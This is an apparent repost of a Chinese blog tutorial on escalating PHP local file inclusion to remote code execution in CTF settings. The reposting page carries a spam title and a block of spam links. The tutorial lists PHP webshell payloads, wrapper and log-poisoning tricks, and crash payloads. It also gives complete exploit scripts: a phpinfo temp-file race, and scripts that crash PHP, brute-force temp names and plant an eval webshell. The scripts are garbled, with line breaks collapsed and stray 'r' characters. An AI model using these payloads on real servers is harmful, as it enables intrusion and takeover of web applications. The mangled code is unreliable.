当前位置: 首页 > wzjs >正文

人工智能设计网站手机端网站开发视频

人工智能设计网站,手机端网站开发视频,phpcms 友情链接 网站名称字数,线上推广策略LFI不止可以来读取文件,还能用来RCE 在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势 1. /proc/self/environ 利用 条件:目标能读取 /proc/self/environ,并且网页中存在LFI点 利用方式: 修改请…

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

1. /proc/self/environ 利用

条件:目标能读取 /proc/self/environ,并且网页中存在LFI点

利用方式

  • 修改请求的 User-Agent 为一句 PHP 代码,如:<?php system($_GET['cmd']); ?>
  • 然后访问 LFI 点加载 /proc/self/environ,就能执行那段代码!

小tips

  • 这个文件保存的是进程的环境变量,其中包含HTTP请求头参数
  • 通常需要Apache、Nginx等没有过滤请求头才可以利用

2. /proc/self/fd/X 利用

条件:目标能读取 /proc/self/fd/X,其中X为文件描述符编号(比如1、2、3)

利用方式

  • 将 PHP 代码注入到 Referer 或报错信息中
  • LFI 包含某个文件描述符,就可以 RCE

区别点

  • fd 是系统文件描述符的软连接,直接指向某些打开的文件流
  • 可以变通绕过 environ 不可读的情况

3. php://filter 利用

目标:文件读取(不是RCE)

用法

php复制编辑
php://filter/read=convert.base64-encode/resource=filename

说明

  • 可以读取任意文件,并以 Base64 返回
  • 不依赖于 allow_url_include 等配置

用途

  • 阅读源码、配置文件、敏感信息~不是直接RCE但常用来辅助分析!

4. php://input 利用

条件

  • 需要 allow_url_include=On
  • 页面使用 include($_GET['file']) 等方式包含

利用方式

  • 将 PHP 代码写在请求体中
  • LFI 引用 php://input 就会执行代码啦!
POST /lfi.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded<?php system($_GET['cmd']); ?>

5. data:// 协议

条件

  • 需要开启 allow_url_fopenallow_url_include

利用方式

  • 把 PHP 代码直接塞进 URL,例如:
data://text/plain,<?php system($_GET['cmd']); ?>

或者 Base64 编码

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

6. expect:// 协议

条件

  • 需要安装 expect 扩展
  • 并开启 allow_url_include=On

利用方式

expect://ls -al /var/www/html

原理:通过 expect 触发命令执行

7. 日志包含(Log Poisoning)

方式1:SSH 日志

需要有/var/log/auth.log的读取权限

  • 连接ssh时输入ssh `<?php phpinfo(); ?>`@192.168.211.146
  • php代码被写入 /var/log/auth.log
  • 然后 LFI 包含这个日志文件

方式2:Apache 日志

需要有/var/log/auth.log的读取权限

  • 发送请求把 PHP 代码写入 access.log
  • 通过 LFI 包含实现 RCE

注意

  • 日志太大可能超时,返回 500

8. 利用 phpinfo() 泄漏临时文件名

原理

  • 上传文件会被存到 /tmp/phpXXXXXX 临时文件
  • phpinfo() 会输出这个路径!
  • 在文件被删除前包含它,就能RCE~

常用组合

  1. 用上传点上传带 payload 的文件
  2. phpinfo() 泄露路径
  3. LFI 包含它,实现代码执行!

这里要写exp进行条件竞争

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):TAG="Security Test"PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAGREQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOADpadding="A" * 5000REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d = ""while len(d) < offset:d += s.recv(offset)try:i = d.index("[tmp_name] =&gt")fn = d[i+17:i+31]# print fnexcept ValueError:return Nones2.send(lfireq % (fn, host))d = s2.recv(4096)s.close()s2.close()if d.find(tag) != -1:return fncounter=0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event = eself.lock = lself.maxattempts = mself.args = argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter >= self.maxattempts:returncounter+=1try:x = phpInfoLFI(*self.args)if self.event.is_set():breakif x:print "nGot it! Shell created in /tmp/g"self.event.set()except socket.error:return
def getOffset(host, port, phpinforeq):"""Gets offset of tmp_name in the php output"""s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d = ""while True:i = s.recv(4096)d+=iif i == "":break# detect the final chunkif i.endswith("0rnrn"):breaks.close()i = d.find("[tmp_name] =&gt")if i == -1:raise ValueError("No php tmp_name in phpinfo output")print "found %s at %i" % (d[i:i+10],i)# padded up a bitreturn i+256
def main():print "LFI With PHPInfo()"print "-=" * 30if len(sys.argv) < 2:print "Usage: %s host [port] [threads]" % sys.argv[0]sys.exit(1)try:host = socket.gethostbyname(sys.argv[1])except socket.error, e:print "Error with hostname %s: %s" % (sys.argv[1], e)sys.exit(1)port=80try:port = int(sys.argv[2])except IndexError:passexcept ValueError, e:print "Error with port %d: %s" % (sys.argv[2], e)sys.exit(1)poolsz=10try:poolsz = int(sys.argv[3])except IndexError:passexcept ValueError, e:print "Error with poolsz %d: %s" % (sys.argv[3], e)sys.exit(1)print "Getting initial offset...",reqphp, tag, reqlfi = setup(host, port)offset = getOffset(host, port, reqphp)sys.stdout.flush()maxattempts = 1000e = threading.Event()l = threading.Lock()print "Spawning worker pool (%d)..." % poolszsys.stdout.flush()tp = []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))sys.stdout.flush()if counter >= maxattempts:breakprintif e.is_set():print "Woot! m/"else:print ":("except KeyboardInterrupt:print "nTelling threads to shutdown..."e.set()print "Shuttin' down..."for t in tp:t.join()if __name__=="__main__":main()

9. PHP 崩溃保留临时文件

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

新版本该漏洞已被修复

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

exp来自LFItoRCE利用总结-安全KER - 安全资讯平台:

# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件import requests
import stringdef upload_file(url, file_content):files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}try:requests.post(url, files=files)except Exception as e:print echarset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):print "[+] %d / %d" % (i, times)upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

# -*- coding: utf-8 -*-
import requests
import stringcharset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = i + j + k + l + m + nurl = base_url+"?"+parameter+"=/tmp/php"+filenameprint urltry:response = requests.get(url)if 'success' in response.content:print "[+] Include success!"print "url:"+urlexit()except Exception as e:print e

10. 利用 Session 上传进度

SESSION_UPLOAD_PROGRESS 的利用可以看我前面这个文章

原理

  • PHP支持 session 上传进度记录
  • 会将数据保存在 session 文件中,路径一般是 /var/lib/php/sessions/sess_XXXXXX
  • 如果你能构造带有 PHP 代码的 progress 字段内容,就可以通过包含 session 来 RCE!

利用方式

  1. 构造上传请求,添加:
PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET['cmd']); ?>
  1. 设置 Cookie: PHPSESSID=123456
  2. LFI 包含 /var/lib/php/sessions/sess_123456

11. LFI自动化利用工具

  • LFISuite: 全自动本地文件包含漏洞利用工具-Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner

会自动扫描利用以下漏洞,并且获取到shell

  • /proc/self/environ
  • php://filter
  • php://input
  • /proc/self/fd
  • access log
  • phpinfo
  • data://
  • expect://

文章转载自:

http://NGd4eJtB.gthwr.cn
http://xk6ESReA.gthwr.cn
http://aS8aS6Bf.gthwr.cn
http://jIQRPUy5.gthwr.cn
http://XJk0EVU1.gthwr.cn
http://twwuT1iG.gthwr.cn
http://bWKkeiIN.gthwr.cn
http://NvmXkZcg.gthwr.cn
http://FKQvwphK.gthwr.cn
http://OLmYC7pC.gthwr.cn
http://qxts0B0h.gthwr.cn
http://RBxU2U2H.gthwr.cn
http://1nNVBefN.gthwr.cn
http://RJrJTXaW.gthwr.cn
http://cMKzUByx.gthwr.cn
http://og1f0zOd.gthwr.cn
http://NfHBduAQ.gthwr.cn
http://sV7n0Wyn.gthwr.cn
http://gXjoL1X4.gthwr.cn
http://oxr54av1.gthwr.cn
http://Y9MBEib0.gthwr.cn
http://lDyxrktG.gthwr.cn
http://6NhMSEfF.gthwr.cn
http://DjLEs1Py.gthwr.cn
http://QIT7UOLg.gthwr.cn
http://CIoOYsPE.gthwr.cn
http://zkkKMrey.gthwr.cn
http://SUTdGw8i.gthwr.cn
http://P09CRm2U.gthwr.cn
http://ig3UzAeD.gthwr.cn
http://www.dtcms.com/wzjs/736911.html

相关文章:

  • 企业网站建设的制作公司网站结构图
  • 贵阳网站建设贵阳网站建设哪家好兰州网站哪里做
  • 贵港有网站建设的公司吗1688外贸
  • 国外网站翻墙怎么做公司网站建设企业
  • 贵州建设厅文件网站首页wordpress admin theme 下载
  • 网站设计 英文网站维护页面 下载
  • 怎么在网站标题做logo做店铺装修的公司网站
  • 北京网站设计的公司wordpress粉丝主题
  • 莒县做网站的公司wordpress主题适应手机浏览器
  • wordpress模板网站标题重复网站制作软件排行榜
  • 网站建设哪个公司做得好做设计什么网站可以兼职
  • 重庆网站怎么设置myeclipse怎样做网站
  • 北京网站开发建设 58同城为何上不了建设银行网站
  • 天津网站建设外贸php 开启gzip加速网站
  • 做网站备案需要多长时间调用wordpress评论框
  • 企业做网站都购买域名吗做设计常用网站有哪些
  • 做国际网站12建网站
  • 用ps怎么做学校网站页面wordpress免费企业主题网站模板
  • 会qt怎么做网站城建网站论坛 建设
  • 用土豆做美食的视频网站西安seo王尘宇
  • 开化网站建设公司开工作室做网站怎样找资源
  • 绍兴公司做网站建设工程监理
  • 网站流量宝商业模式包括哪些模式
  • 网站开发这个专业前景怎样网站建设大宇
  • 国外服务器网站打开慢广州专业网站制作
  • 贵溪网站建设网站建设流程公司
  • 常熟做网站价格室内设计平面图素材
  • wordpress 去掉分类潜江seo
  • 狼雨seo网站排名查询网站免费建站k
  • 网站开发软件有哪些免费吕梁网站制作吕梁安全